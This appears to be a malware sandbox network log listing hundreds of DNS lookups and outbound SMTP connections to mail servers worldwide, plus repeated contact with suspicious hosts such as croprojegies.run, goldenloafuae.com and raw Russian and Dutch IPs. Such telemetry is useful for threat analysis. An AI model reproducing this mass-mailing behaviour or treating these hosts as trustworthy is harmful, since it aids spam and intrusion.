US 205.178.189.131:465 out.crandallschools.com tcp
US 8.8.8.8:53 pec.it udp
US 8.8.8.8:53 smtp.comcast.net udp
US 8.8.8.8:53 gmaul.com udp
US 8.8.8.8:53 box.ua udp
IT 62.149.188.200:587 pec.it tcp
US 8.8.8.8:53 gr-rebels.net udp
NL 178.128.251.242:25 box.ua tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 3.33.251.168:465 gr-rebels.net tcp
US 8.8.8.8:53 smtp.ig.com.br udp
US 8.8.8.8:53 smtp.shaw.ca udp
BR 168.0.132.203:587 smtp.ig.com.br tcp
CA 64.59.136.142:587 smtp.shaw.ca tcp
US 8.8.8.8:53 smtp.darfon.com.tw udp
US 8.8.8.8:53 smtp.vodafone.de udp
CA 64.59.136.142:587 smtp.shaw.ca tcp
US 8.8.8.8:53 smtp.lipscombjohnson.com udp
US 8.8.8.8:53 securesmtp.legalempire.co.in udp
DE 178.15.69.206:587 smtp.vodafone.de tcp
US 96.102.167.164:587 smtp.comcast.net tcp
NL 185.156.73.73:80 185.156.73.73 tcp
US 8.8.8.8:53 50it.com.br udp
US 8.8.8.8:53 secure.medichi.cl udp
US 8.8.8.8:53 bt.com udp
US 8.8.8.8:53 smtp-in.sfr.fr udp
US 8.8.8.8:53 citromail.hu udp
IL 45.60.72.23:587 bt.com tcp
FR 93.17.128.165:587 smtp-in.sfr.fr tcp
DE 167.99.248.199:587 citromail.hu tcp
US 8.8.8.8:53 seznam.cz udp
US 8.8.8.8:53 smtp.rkhib.com udp
CZ 77.75.77.222:587 seznam.cz tcp
BR 168.0.132.203:587 smtp.ig.com.br tcp
US 8.8.8.8:53 mail.ukcargroup.com udp
GB 62.233.121.61:465 mail.ukcargroup.com tcp
US 8.8.8.8:53 alt3.aspmx.l.google.com udp
US 8.8.8.8:53 mail.geasar.it udp
US 8.8.8.8:53 tuputamadre.gail.com udp
US 8.8.8.8:53 raosasesores.com udp
US 8.8.8.8:53 smtp.john.me udp
US 8.8.8.8:53 upcmail.hu udp
N/A 127.0.0.1:9229 tcp
IT 2.40.165.142:587 mail.geasar.it tcp
SG 74.125.200.26:587 alt3.aspmx.l.google.com tcp
DE 217.160.0.234:587 raosasesores.com tcp
US 76.223.54.146:587 smtp.john.me tcp
US 8.8.8.8:53 secure.coherentsolutions.com udp
US 8.8.8.8:53 mx2.telenet-ops.be udp
US 8.8.8.8:53 smtp.mnyk.net udp
US 8.8.8.8:53 smtp.parkmetropol.com udp
BE 195.130.132.9:587 mx2.telenet-ops.be tcp
US 8.8.8.8:53 out.aerothai.co.th udp
US 8.8.8.8:53 secure.tsartsai.com.tw udp
US 8.8.8.8:53 secure.mbox.com.au udp
US 8.8.8.8:53 secure.wippies.fi udp
US 8.8.8.8:53 berandebi.com.ar udp
US 103.224.212.215:465 smtp.mnyk.net tcp
FI 65.108.66.160:587 berandebi.com.ar tcp
US 8.8.8.8:53 btcl.net.bd udp
US 8.8.8.8:53 guru.sd.belajar.id udp
US 8.8.8.8:53 alt2.aspmx.l.google.com udp
FI 142.250.150.27:587 alt2.aspmx.l.google.com tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 out.12456mazarino.com udp
US 8.8.8.8:53 out.zuerich.ch udp
US 8.8.8.8:53 huntsman.com udp
US 8.8.8.8:53 out.telefonica.net udp
US 174.129.30.187:587 huntsman.com tcp
US 8.8.8.8:53 securesmtp.connectel.co.uk udp
US 8.8.8.8:53 exmta.mopera.net udp
US 8.8.8.8:53 mail.hopeww.org udp
CZ 77.75.77.222:587 seznam.cz tcp
JP 211.14.126.65:25 exmta.mopera.net tcp
US 76.223.54.146:465 securesmtp.connectel.co.uk tcp
US 8.8.8.8:53 secure.homephonetunes.com udp
US 8.8.8.8:53 online.de udp
US 8.8.8.8:53 smtp.stormsweldingmfg.com udp
US 8.8.8.8:53 hotelcity.ch udp
US 8.8.8.8:53 secure.warysanclub.it udp
US 8.8.8.8:53 multidrive.com.br udp
US 8.8.8.8:53 smtp.miogui.fr udp
US 8.8.8.8:53 secure.grantonmarketing.be udp
DE 212.227.0.72:587 online.de tcp
US 8.8.8.8:53 smtp.virgilio.it udp
US 8.8.8.8:53 mail.shanxiqiangjiu.com udp
US 8.8.8.8:53 out.telmexempresas.cl udp
DE 212.227.0.72:587 online.de tcp
CH 5.226.144.222:587 hotelcity.ch tcp
IT 213.209.1.145:587 smtp.virgilio.it tcp
US 8.8.8.8:53 mx.cse445.com udp
US 8.8.8.8:53 mx02.elmecnet.net udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 smtp.bloomy.co.uk udp
US 172.67.132.183:465 smtp.bloomy.co.uk tcp
US 5.161.199.205:465 mx.cse445.com tcp
BR 186.202.95.85:465 multidrive.com.br tcp
US 8.8.8.8:53 mailgw.ns36.de udp
US 8.8.8.8:53 mx1.bancsabadell.c3s2.iphmx.com udp
US 8.8.8.8:53 mmt.its.ac.id udp
GB 139.138.62.253:465 mx1.bancsabadell.c3s2.iphmx.com tcp
US 8.8.8.8:53 smtp.ch-soissons.fr udp
US 8.8.8.8:53 opka.org udp
US 8.8.8.8:53 alt1.aspmx.l.google.com udp
BE 195.130.132.9:587 mx2.telenet-ops.be tcp
US 8.8.8.8:53 mail.fgfgh.fr udp
US 76.223.54.146:587 opka.org tcp
DE 142.251.9.27:587 alt1.aspmx.l.google.com tcp
ID 103.94.189.5:587 mmt.its.ac.id tcp
US 8.8.8.8:53 secure.klax.de udp
US 8.8.8.8:53 mail.ddfdff.com udp
US 8.8.8.8:53 out.greatmomentsinc.com udp
US 8.8.8.8:53 secure.makeme.be udp
US 8.8.8.8:53 mail.meepins.com udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 serisenginyers.com udp
US 8.8.8.8:53 securesmtp.ferronigroup.it udp
FR 93.17.128.165:587 smtp-in.sfr.fr tcp
US 8.8.8.8:53 out.perez.com.br udp
US 8.8.8.8:53 cyberhull.com udp
CZ 77.75.77.222:587 seznam.cz tcp
FR 51.68.24.40:587 serisenginyers.com tcp
DE 212.132.64.189:465 secure.klax.de tcp
IT 194.79.56.47:587 mx02.elmecnet.net tcp
NL 134.209.81.195:587 cyberhull.com tcp
US 8.8.8.8:53 secure.romandie.com udp
FI 142.250.150.27:465 alt2.aspmx.l.google.com tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 me.com udp
US 8.8.8.8:53 out.vdg.co.uk udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
CZ 77.75.77.222:587 seznam.cz tcp
DE 64.190.63.222:587 secure.romandie.com tcp
US 17.253.142.4:587 me.com tcp
US 209.235.144.9:587 out.vdg.co.uk tcp
US 8.8.8.8:53 out.info-gest.it udp
US 8.8.8.8:53 nauta.com.cu udp
DK 46.30.213.156:587 secure.makeme.be tcp
US 8.8.8.8:53 mail.rustyjackal.88ip.net udp
US 8.8.8.8:53 mail.zsigo.hu udp
US 8.8.8.8:53 abfutbol.es udp
US 8.8.8.8:53 croprojegies.run udp
US 104.21.96.1:443 croprojegies.run tcp
DE 217.160.0.179:587 abfutbol.es tcp
HU 92.249.254.29:587 mail.zsigo.hu tcp
US 8.8.8.8:53 smtp.monitor.uk.com udp
US 8.8.8.8:53 tianya.cn udp
US 96.102.167.164:587 smtp.comcast.net tcp
CZ 77.75.78.196:587 email.cz tcp
US 96.102.167.164:587 smtp.comcast.net tcp
DE 162.55.172.212:465 smtp.monitor.uk.com tcp
US 8.8.8.8:53 abv.bg udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 smtp.bp.vnu.com udp
US 8.8.8.8:53 aspmx2.googlemail.com udp
BG 194.153.145.104:587 abv.bg tcp
DE 142.251.9.26:587 aspmx2.googlemail.com tcp
US 8.8.8.8:53 out.studiotb.it udp
US 8.8.8.8:53 bbox.fr udp
US 17.253.142.4:587 me.com tcp
US 8.8.8.8:53 mxbiz2.qq.com udp
US 8.8.8.8:53 smtp.moushill.couk udp
US 8.8.8.8:53 smtp.kik.ee udp
US 8.8.8.8:53 smtp.centrum.cz udp
US 8.8.8.8:53 fastweb.it udp
CZ 77.75.77.222:587 seznam.cz tcp
CA 64.59.136.142:587 smtp.shaw.ca tcp
US 8.8.8.8:53 q.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
IT 62.101.76.218:587 fastweb.it tcp
AU 45.154.183.183:587 q.com tcp
CZ 46.255.231.70:587 smtp.centrum.cz tcp
US 8.8.8.8:53 secure.ejacule.net udp
FI 142.250.150.27:587 alt2.aspmx.l.google.com tcp
US 8.8.8.8:53 mail.martinbrower.com udp
HK 103.86.78.5:465 mxbiz2.qq.com tcp
US 8.8.8.8:53 mail.simone-perele.fr udp
US 8.8.8.8:53 aulss6.veneto.it udp
US 8.8.8.8:53 kratos.co.uk udp
US 8.8.8.8:53 securesmtp.email.it udp
GB 37.128.186.141:587 kratos.co.uk tcp
FR 185.111.53.243:465 mail.simone-perele.fr tcp
US 8.8.8.8:53 smtp.imacoptour.com udp
US 8.8.8.8:53 smtp.cch160.org udp
IT 15.161.168.39:587 aulss6.veneto.it tcp
US 8.8.8.8:53 yhaoo.com udp
US 76.223.84.192:587 yhaoo.com tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 mail.binda.life udp
US 8.8.8.8:53 mail.wallywatts.com udp
US 8.8.8.8:53 smtp.foodpac.co.uk udp
DE 46.101.111.206:587 mail.wallywatts.com tcp
US 8.8.8.8:53 gmbol.cem udp
US 8.8.8.8:53 out.sacredsaga.com udp
US 8.8.8.8:53 bombfu.com udp
US 8.8.8.8:53 mail.polisrealty.com udp
BG 194.153.145.104:587 abv.bg tcp
US 8.8.8.8:53 mx12b.antispameurope.com udp
US 199.59.243.228:465 mail.binda.life tcp
US 207.148.248.143:465 out.sacredsaga.com tcp
US 104.21.96.1:443 croprojegies.run tcp
FR 195.154.29.163:587 bombfu.com tcp
DE 83.246.65.85:465 mx12b.antispameurope.com tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 kilz.net udp
DE 217.160.0.33:465 kilz.net tcp
US 8.8.8.8:53 teletu.it udp
US 8.8.8.8:53 optusnet.com.au udp
US 8.8.8.8:53 lovemyway.nl udp
US 8.8.8.8:53 out.psivamp.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
AU 211.29.132.105:587 optusnet.com.au tcp
LU 85.93.219.12:587 teletu.it tcp
US 76.223.54.146:465 out.psivamp.com tcp
NL 86.105.244.1:587 lovemyway.nl tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 smtp.houseofpowerelectric.com udp
BR 168.0.132.203:587 smtp.ig.com.br tcp
US 8.8.8.8:53 secure.horizonint.com.tr udp
US 8.8.8.8:53 smtp.blueprintnet.com udp
SG 74.125.200.26:587 alt3.aspmx.l.google.com tcp
US 8.8.8.8:53 mail.lbftravel.com udp
GB 213.171.216.50:587 smtp.blueprintnet.com tcp
US 172.67.172.151:587 mail.lbftravel.com tcp
US 8.8.8.8:53 secure.viro.med.uni-erlangen.de udp
BR 168.0.132.203:587 smtp.ig.com.br tcp
US 8.8.8.8:53 smtp.wmbinc.com udp
US 8.8.8.8:53 securesmtp.santanaveiculos.com.br udp
US 8.8.8.8:53 securesmtp.rsacommercialistiassociati.it udp
US 8.8.8.8:53 securesmtp.280767.com udp
US 8.8.8.8:53 secure.danceaddict.com.au udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 sylvestre-maxence.yn.fr udp
BG 194.153.145.104:587 abv.bg tcp
IT 213.209.1.145:587 smtp.virgilio.it tcp
US 8.8.8.8:53 smtp.suxie.site udp
US 8.8.8.8:53 smtp.oraclemails.com udp
US 8.8.8.8:53 aspmx.l.google.com udp
US 8.8.8.8:53 ewkfod.com udp
NL 142.250.27.27:587 aspmx.l.google.com tcp
DE 3.122.230.153:587 smtp.oraclemails.com tcp
US 8.8.8.8:53 out.therapyctr.net udp
US 8.8.8.8:53 out.minimec.net udp
US 8.8.8.8:53 securesmtp.artisanwoods.com udp
US 8.8.8.8:53 mx.zoho.com udp
US 204.141.43.44:587 mx.zoho.com tcp
US 8.8.8.8:53 mailserver01.tesiinformatica.net udp
US 8.8.8.8:53 hq.com udp
NL 142.250.27.27:465 aspmx.l.google.com tcp
US 159.89.244.183:465 securesmtp.artisanwoods.com tcp
IL 45.60.204.10:465 hq.com tcp
IT 176.223.95.5:587 mailserver01.tesiinformatica.net tcp
US 8.8.8.8:53 xcelbulk.com.2.0001.arsmtp.com udp
US 8.8.8.8:53 securesmtp.uhbg.fr udp
US 8.8.8.8:53 secure.hemisphere4.com udp
US 8.8.8.8:53 smtp.ndaniel.hu udp
CZ 77.75.77.222:587 seznam.cz tcp
US 104.21.96.1:443 croprojegies.run tcp
US 8.8.8.8:53 tonlien.de udp
US 8.8.8.8:53 smtp.comunicarcolombia.com udp
CZ 77.75.78.196:587 email.cz tcp
US 8.8.8.8:53 out.gemail7991.com udp
US 8.8.8.8:53 javaprise-com.mail.protection.outlook.com udp
US 8.19.118.159:465 xcelbulk.com.2.0001.arsmtp.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
CH 52.101.187.1:587 javaprise-com.mail.protection.outlook.com tcp
DE 80.158.66.24:587 tonlien.de tcp
US 8.8.8.8:53 hughes.net udp
US 8.8.8.8:53 out.lynred.com udp
US 69.35.40.37:587 hughes.net tcp
US 8.8.8.8:53 agefred-es.mail.protection.outlook.com udp
US 8.8.8.8:53 mail.knopkeco.com udp
US 8.8.8.8:53 recur.club udp
US 8.8.8.8:53 securesmtp.carepath-recruitment.co.uk udp
US 8.8.8.8:53 get2net.dk udp
NL 52.101.73.21:465 agefred-es.mail.protection.outlook.com tcp
DE 167.99.248.199:587 get2net.dk tcp
US 64.26.60.229:587 smtp.comunicarcolombia.com tcp
US 3.33.251.168:587 recur.club tcp
US 8.8.8.8:53 out.conviviumbr.com.br udp
US 8.8.8.8:53 cheapnet.it udp
US 8.8.8.8:53 mail.umaseru.fr udp
US 8.8.8.8:53 mail.mauricetanner.com udp
IT 87.238.28.12:587 cheapnet.it tcp
US 8.8.8.8:53 hejmbol.cem udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 securesmtp.oabvanguarda.com.br udp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 studio-1.it udp
US 8.8.8.8:53 secure.ontracking.com udp
US 8.8.8.8:53 securesmtp.2mal.cooo udp
US 104.21.96.1:443 croprojegies.run tcp
US 8.8.8.8:53 mx2.zoho.eu udp
US 8.8.8.8:53 securesmtp.tonerforyou.onmicrosoft.com udp
US 8.8.8.8:53 smtp.sweetup.es udp
DE 142.251.9.26:465 aspmx2.googlemail.com tcp
IT 149.3.144.224:465 studio-1.it tcp
N/A 127.0.0.1:465 tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
IE 185.230.214.166:587 mx2.zoho.eu tcp
US 3.94.41.167:465 secure.ontracking.com tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 out.meller.yo udp
US 8.8.8.8:53 planet.nl udp
US 96.102.167.164:587 smtp.comcast.net tcp
IE 52.18.216.171:587 planet.nl tcp
US 8.8.8.8:53 mail.albithinia.es udp
BE 195.130.132.9:587 mx2.telenet-ops.be tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
IT 213.209.1.145:587 smtp.virgilio.it tcp
US 8.8.8.8:53 smtp.hotamil.com udp
US 8.8.8.8:53 rogers.com udp
IE 52.164.206.56:587 smtp.hotamil.com tcp
CA 40.85.218.2:587 rogers.com tcp
US 8.8.8.8:53 mxb.mailgun.org udp
US 34.160.157.95:587 mxb.mailgun.org tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 hotmil.com udp
US 209.216.88.140:587 hotmil.com tcp
US 8.8.8.8:53 securesmtp.whydesign.co.uk udp
DE 167.99.248.199:587 get2net.dk tcp
US 8.8.8.8:53 smtp.suwunk-tasc.co.cc udp
US 8.8.8.8:53 mail.ruchaeng.com udp
US 8.8.8.8:53 tempopc.com udp
US 8.8.8.8:53 secure.hip.vn udp
US 104.21.96.1:443 croprojegies.run tcp
US 8.8.8.8:53 out.mil.fr udp
BG 194.153.145.104:587 abv.bg tcp
US 8.8.8.8:53 mail.kif.fr udp
US 8.8.8.8:53 smtp.fh-gelsenkirchen.de udp
FR 185.128.239.11:587 mail.kif.fr tcp
DE 194.94.127.151:587 smtp.fh-gelsenkirchen.de tcp
BE 195.130.132.9:587 mx2.telenet-ops.be tcp
US 17.253.142.4:587 me.com tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 35.91.2.62:587 smtp.suwunk-tasc.co.cc tcp
US 8.8.8.8:53 mail.patriciadavidson.com.br udp
US 8.8.8.8:53 securesmtp.poczta.on udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 mail04.greeninbox.org udp
US 8.8.8.8:53 meta.ua udp
US 104.22.65.144:587 meta.ua tcp
DE 161.156.29.51:2525 mail04.greeninbox.org tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 lescarre.fr udp
US 8.8.8.8:53 san-hc.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
SG 148.66.138.112:587 san-hc.com tcp
US 8.8.8.8:53 secure.hnmil.co udp
US 8.8.8.8:53 mail.luukku.com udp
US 8.8.8.8:53 sky.com udp
US 8.8.8.8:53 mail.linshiyouxiang.net udp
CA 64.59.136.142:587 smtp.shaw.ca tcp
US 8.8.8.8:53 mail.mueblesbanaderos.com udp
US 8.8.8.8:53 mxa-0042d501.gslb.pphosted.com udp
CZ 77.75.77.222:587 seznam.cz tcp
GB 90.216.128.5:587 sky.com tcp
US 47.251.66.253:587 mail.linshiyouxiang.net tcp
DK 185.138.56.214:587 mail.luukku.com tcp
US 8.8.8.8:53 securesmtp.7atagd.info udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 mail.leisd.gaggle.net udp
US 8.8.8.8:53 secure.ambienseimobiliaria.com.br udp
US 205.220.165.21:587 mxa-0042d501.gslb.pphosted.com tcp
BR 191.6.216.100:587 mail.patriciadavidson.com.br tcp
US 8.8.8.8:53 eforward4.registrar-servers.com udp
CZ 77.75.77.222:587 seznam.cz tcp
CZ 77.75.78.196:587 email.cz tcp
US 162.255.118.52:465 eforward4.registrar-servers.com tcp
US 104.21.96.1:443 croprojegies.run tcp
DE 142.251.9.26:465 aspmx2.googlemail.com tcp
US 8.8.8.8:53 out.xtra.co.nz udp
NL 142.250.27.27:587 aspmx.l.google.com tcp
US 8.8.8.8:53 smtp.inwind.it udp
IT 213.209.1.147:587 smtp.inwind.it tcp
US 8.8.8.8:53 securesmtp.mber.net.ua udp
US 8.8.8.8:53 cesur.net.tr udp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 aspmx3.googlemail.com udp
US 104.19.239.228:587 earthlink.net tcp
FI 142.250.150.27:587 aspmx3.googlemail.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
TR 195.244.57.211:587 cesur.net.tr tcp
US 8.8.8.8:53 istruzione.it udp
US 8.8.8.8:53 mail.qujjprp.com udp
NL 2.16.27.83:25 istruzione.it tcp
US 8.8.8.8:53 pandora.be udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
BE 195.130.131.33:587 pandora.be tcp
US 8.8.8.8:53 mail.ziggo.nl udp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 boltoncollege.ac.uk udp
US 8.8.8.8:53 kravmd.com udp
US 8.8.8.8:53 telekom.de udp
GB 195.234.95.99:587 boltoncollege.ac.uk tcp
DE 80.158.67.40:587 telekom.de tcp
US 198.185.159.145:587 kravmd.com tcp
NL 84.116.6.3:587 mail.ziggo.nl tcp
US 8.8.8.8:53 out.abv.abs udp
US 8.8.8.8:53 securesmtp.myself.com udp
US 148.163.141.42:587 mxb-00013201.gslb.pphosted.com tcp
US 204.74.99.100:587 securesmtp.myself.com tcp
US 8.8.8.8:53 securesmtp.2000.fr udp
US 8.8.8.8:53 greasypole.co.uk udp
US 8.8.8.8:53 betsafe.com udp
US 8.8.8.8:53 securesmtp.sarem.fr udp
US 8.8.8.8:53 out.bristol.com udp
GB 54.230.10.60:587 betsafe.com tcp
US 8.8.8.8:53 smtp.unicef.org udp
US 8.8.8.8:53 1und1.de udp
DE 217.160.72.6:587 1und1.de tcp
US 8.8.8.8:53 smtp.hj.fe udp
US 8.8.8.8:53 outook.com udp
US 103.224.182.218:587 outook.com tcp
US 8.8.8.8:53 smtp.cellcommsolutions.com udp
US 8.8.8.8:53 gmbol.cem udp
US 8.8.8.8:53 cobhamschool.nz udp
US 8.8.8.8:53 smtp.cimaa.pt udp
US 8.8.8.8:53 securesmtp.otmai.fr udp
BR 168.0.132.203:587 smtp.ig.com.br tcp
PT 62.28.182.60:465 smtp.cimaa.pt tcp
US 8.8.8.8:53 smtp.o2email.co.uk udp
US 8.8.8.8:53 mail.public.tpt.ti.cn udp
US 8.8.8.8:53 secure.seacoast.org udp
US 8.8.8.8:53 secure.notificaciones.scba.gov.ar udp
US 8.8.8.8:53 mail.inbox.lv udp
LV 194.152.32.10:587 mail.inbox.lv tcp
US 8.8.8.8:53 valledelsol.com udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 voila.fr udp
DE 142.251.9.27:587 alt1.aspmx.l.google.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
IE 52.92.32.52:587 voila.fr tcp
US 8.8.8.8:53 securesmtp.telesesrl.it udp
US 8.8.8.8:53 nf.sympatico.ca udp
US 8.8.8.8:53 secure.tiscali.cz udp
US 103.224.212.105:587 mail.public.tpt.ti.cn tcp
RU 45.93.20.28:80 45.93.20.28 tcp
AU 211.29.132.105:587 optusnet.com.au tcp
US 8.8.8.8:53 mail.ourceducredit.com udp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 securesmtp.centralreg.k22.nj.us udp
US 8.8.8.8:53 mxb.relay.renater.fr udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 securesmtp.pa.rrcom udp
FR 194.214.201.9:587 mxb.relay.renater.fr tcp
US 8.8.8.8:53 tonline.de udp
BG 194.153.145.104:587 abv.bg tcp
DE 80.158.66.24:587 tonline.de tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 out.brothersdoor.com udp
US 8.8.8.8:53 smtp.transform-medical.co.uk udp
IT 213.209.1.147:587 smtp.inwind.it tcp
US 8.8.8.8:53 out.butlerdogs.org udp
CZ 77.75.78.196:587 email.cz tcp
GB 90.216.128.5:587 sky.com tcp
US 8.8.8.8:53 mail.promotorapresenca.com.br udp
US 75.2.115.196:587 out.brothersdoor.com tcp
NZ 202.27.212.75:465 cobhamschool.nz tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 ticsali.it udp
CZ 77.75.77.222:587 seznam.cz tcp
US 205.178.189.131:587 out.butlerdogs.org tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 smtp.swissonline.ch udp
US 8.8.8.8:53 out.foodpac.co.uk udp
US 8.8.8.8:53 zoneurgence.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
NL 94.169.2.19:587 smtp.swissonline.ch tcp
US 8.8.8.8:53 GAMEL.VN udp
US 8.8.8.8:53 smtp.krovatka.su udp
US 8.8.8.8:53 smtp.crunchy.co udp
US 8.8.8.8:53 smtp.kemenkumham.go.id udp
GB 52.98.145.66:465 smtp.crunchy.co tcp
US 8.8.8.8:53 mail.future.com.br udp
US 8.8.8.8:53 strubbl.de udp
US 8.8.8.8:53 smtp.alerygove.rybnik.pl udp
US 8.8.8.8:53 secure.amozoqehir.pomorskie.pl udp
DE 37.120.179.237:465 strubbl.de tcp
US 172.67.177.62:587 valledelsol.com tcp
US 8.8.8.8:53 secure.wi331396.ferozo.com udp
US 8.8.8.8:53 out.awloywro.co.cc udp
US 8.8.8.8:53 protonmail.fr udp
US 8.8.8.8:53 educa.jcyl.es udp
US 3.33.139.32:587 protonmail.fr tcp
ES 217.71.16.208:587 educa.jcyl.es tcp
US 8.8.8.8:53 talk21.com udp
US 8.8.8.8:53 out.cheapnej.com udp
IT 213.209.1.145:587 smtp.virgilio.it tcp
ID 202.62.9.91:587 smtp.kemenkumham.go.id tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 mail.testara.com udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 35.91.2.62:587 out.awloywro.co.cc tcp
US 8.8.8.8:53 secure.preachribirthcharwobb.prv.pl udp
US 8.8.8.8:53 alt4.aspmx.l.google.com udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 out.usedu.site udp
US 8.8.8.8:53 securesmtp.csnmca.com udp
TW 142.250.157.26:587 alt4.aspmx.l.google.com tcp
FR 188.165.206.157:465 secure.preachribirthcharwobb.prv.pl tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 8.8.8.8:53 deped-gov-ph.mail.protection.outlook.com udp
US 8.8.8.8:53 dow.com udp
US 8.8.8.8:53 bbox.fr udp
IT 213.209.1.145:587 smtp.virgilio.it tcp
US 8.8.8.8:53 securesmtp.email.it udp
CA 64.59.136.142:587 smtp.shaw.ca tcp
GB 104.124.160.135:587 dow.com tcp
SG 52.101.137.0:587 deped-gov-ph.mail.protection.outlook.com tcp
BR 168.0.132.204:465 mail.promotorapresenca.com.br tcp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 smtp.hhpr.biz udp
US 8.8.8.8:53 smtp.i-d-sys.co.uk udp
BG 194.153.145.104:587 abv.bg tcp
US 8.8.8.8:53 archiworld.it udp
GB 90.216.128.5:587 sky.com tcp
US 8.8.8.8:53 securesmtp.wi331396.ferozo.com udp
IT 217.27.72.87:587 archiworld.it tcp
NL 84.116.6.3:587 mail.ziggo.nl tcp
CZ 77.75.77.222:587 seznam.cz tcp
US 8.8.8.8:53 mcmenzie.com udp
US 8.8.8.8:53 mail.sony.com udp
IT 213.209.1.145:587 smtp.virgilio.it tcp
GB 185.151.30.154:465 mcmenzie.com tcp
SG 74.125.200.26:587 alt3.aspmx.l.google.com tcp
CA 64.59.136.142:587 smtp.shaw.ca tcp
FI 142.250.150.27:587 aspmx3.googlemail.com tcp
US 8.8.8.8:53 epost.de udp
US 8.8.8.8:53 mxgate.iust.ac.ir udp
DE 142.251.9.26:587 aspmx2.googlemail.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
IR 194.225.230.66:587 mxgate.iust.ac.ir tcp
NL 20.23.151.207:587 epost.de tcp
US 8.8.8.8:53 abbvie.com udp
US 96.102.167.164:587 smtp.comcast.net tcp
US 8.8.8.8:53 mail.sviluppo.cselt.it udp
US 8.8.8.8:53 amazon.com udp
AU 211.29.132.105:587 optusnet.com.au tcp
US 159.180.132.176:587 abbvie.com tcp
US 205.251.242.103:587 amazon.com tcp
US 8.8.8.8:53 smtp.thestafc.com udp
US 8.8.8.8:53 persmail.uhp-nancy.fr udp
CZ 77.75.77.222:587 seznam.cz tcp
GB 91.108.103.108:587 dreamshapes.in tcp
US 8.8.8.8:53 icshomes.es udp
CZ 77.75.77.222:587 seznam.cz tcp
CA 40.85.218.2:587 rogers.com tcp
DE 217.160.0.40:465 icshomes.es tcp
NL 142.250.27.27:465 aspmx.l.google.com tcp
IT 213.209.1.145:587 smtp.virgilio.it tcp
US 8.8.8.8:53 smtp.russia.gov udp
US 8.8.8.8:53 secure.travelist.pl udp
DE 116.202.87.6:587 secure.travelist.pl tcp
US 8.8.8.8:53 altstetter.de udp
US 8.8.8.8:53 securesmtp.altheys.kom udp
US 8.8.8.8:53 smtp.edu.hanbat.ac.kr udp
DE 85.13.156.46:587 altstetter.de tcp
DE 142.251.9.27:587 alt1.aspmx.l.google.com tcp
DE 167.99.248.199:587 get2net.dk tcp
US 8.8.8.8:53 securesmtp.bogusia.de udp
US 8.8.8.8:53 r3ged.com.br udp
US 8.8.8.8:53 smtp.bluemro.com.br udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
IL 185.230.63.186:587 r3ged.com.br tcp
US 17.253.142.4:587 me.com tcp
GB 90.216.128.5:587 sky.com tcp
US 8.8.8.8:53 ikaros-se.mail.protection.outlook.com udp
US 8.8.8.8:53 mx.powered.name udp
CZ 77.75.77.222:587 seznam.cz tcp
FI 65.109.49.216:587 mx.powered.name tcp
IE 52.101.68.27:465 ikaros-se.mail.protection.outlook.com tcp
US 8.8.8.8:53 out.cabsys.com udp
US 8.8.8.8:53 mail.xaopmsxb.com udp
US 8.8.8.8:53 smtp.atasunoptik.com.tr udp
US 8.8.8.8:53 mail.africamar.com udp
US 8.8.8.8:53 loamtecnologies.it udp
DE 167.99.248.199:587 get2net.dk tcp
US 164.90.244.158:465 out.cabsys.com tcp
US 8.8.8.8:53 icborgosd.gov.it udp
US 8.8.8.8:53 wsc.com.mt udp
US 3.19.21.143:587 mail.africamar.com tcp
NL 35.214.148.74:587 wsc.com.mt tcp
US 8.8.8.8:53 out.turnhout.be udp
SG 74.125.200.26:465 alt3.aspmx.l.google.com tcp
US 8.8.8.8:53 secure.ndcvbk.nl udp
US 8.8.8.8:53 secure.sif.or.th udp
